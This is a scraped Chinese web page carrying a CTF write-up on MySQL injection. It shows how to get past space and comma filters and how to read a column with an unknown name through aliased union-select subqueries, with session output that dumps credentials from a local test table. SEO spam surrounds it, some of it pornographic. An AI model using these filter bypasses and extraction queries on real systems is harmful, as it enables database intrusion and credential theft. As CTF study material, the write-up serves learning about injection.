婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > Mysql如何巧妙的繞過未知字段名詳解

Mysql如何巧妙的繞過未知字段名詳解

熱門標簽:成都優派外呼系統 寧波企業外呼系統收費 上海智能外呼系統代理商 扎樣申請400電話 沈陽電銷外呼系統原理是什么 ps制作地圖標注gif 聊城智能外呼系統運營商 電子地圖標注電話 地圖標注人員兼職

前言

本文介紹的是DDCTF第五題,繞過未知字段名的技巧,這里拿本機來操作了下,思路很棒也很清晰,分享給大家,下面來看看詳細的介紹:

實現思路

題目過濾空格和逗號,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括號都可以繞過,逗號使用join繞過;

存放flag的字段名未知,information_schema.columns也將表名的hex過濾了,即獲取不到字段名;這時可以利用聯合查詢,過程如下:

思想就是獲取flag,讓其在已知字段名下出現;

示例代碼:

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
| 1 | admin | admin888 | 110@110.com |
| 2 | test | test123 | 119@119.com |
| 3 | cs | cs123 | 120@120.com |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4   |
+-------------+
| 4   |
| 110@110.com |
| 119@119.com |
| 120@120.com |
+-------------+
4 rows in set (0.03 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
 
+-------------+
| 4   |
+-------------+
| 120@120.com |
+-------------+
1 row in set (0.01 sec)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id   | username | password | email  |
+-------------+----------+----------+-------------+
| 1   | admin | admin888 | 110@110.com |
| 120@120.com | 1  | 1  | 1   |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)

總結

以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作能帶來一定的幫助,如果有疑問大家可以留言交流,謝謝大家對腳本之家的支持。

您可能感興趣的文章:
  • 防止xss和sql注入:JS特殊字符過濾正則
  • 一個過濾重復數據的 SQL 語句
  • MySQL注入繞開過濾的技巧總結
  • SQL注入中繞過 單引號 限制繼續注入
  • SQL注入繞過的技巧總結
  • 多列復合索引的使用 繞過微軟sql server的一個缺陷
  • 關于SQL注入繞過的一些知識點
  • SQL Server簡單模式下誤刪除堆表記錄恢復方法(繞過頁眉校驗)
  • SQL注入技巧之顯注與盲注中過濾逗號繞過詳析

標簽:AXB 內江 朔州 咸寧 宿州 三明 汕頭 林芝

巨人網絡通訊聲明:本文標題《Mysql如何巧妙的繞過未知字段名詳解》,本文關鍵詞  Mysql,如何,巧妙,的,繞過,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《Mysql如何巧妙的繞過未知字段名詳解》相關的同類信息!
  • 本頁收集關于Mysql如何巧妙的繞過未知字段名詳解的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 宜宾县| 平安县| 蚌埠市| 班戈县| 宣武区| 沈阳市| 青岛市| 富锦市| 二连浩特市| 霍林郭勒市| 余江县| 聊城市| 鄂尔多斯市| 定襄县| 阜阳市| 平舆县| 广饶县| 宁都县| 贺兰县| 临沂市| 遂川县| 海林市| 奉节县| 彭水| 天津市| 江达县| 莱阳市| 东平县| 河源市| 林州市| 张家港市| 玉山县| 中江县| 崇文区| 万安县| 台北县| 黄冈市| 仪征市| 扬州市| 车险| 台中市|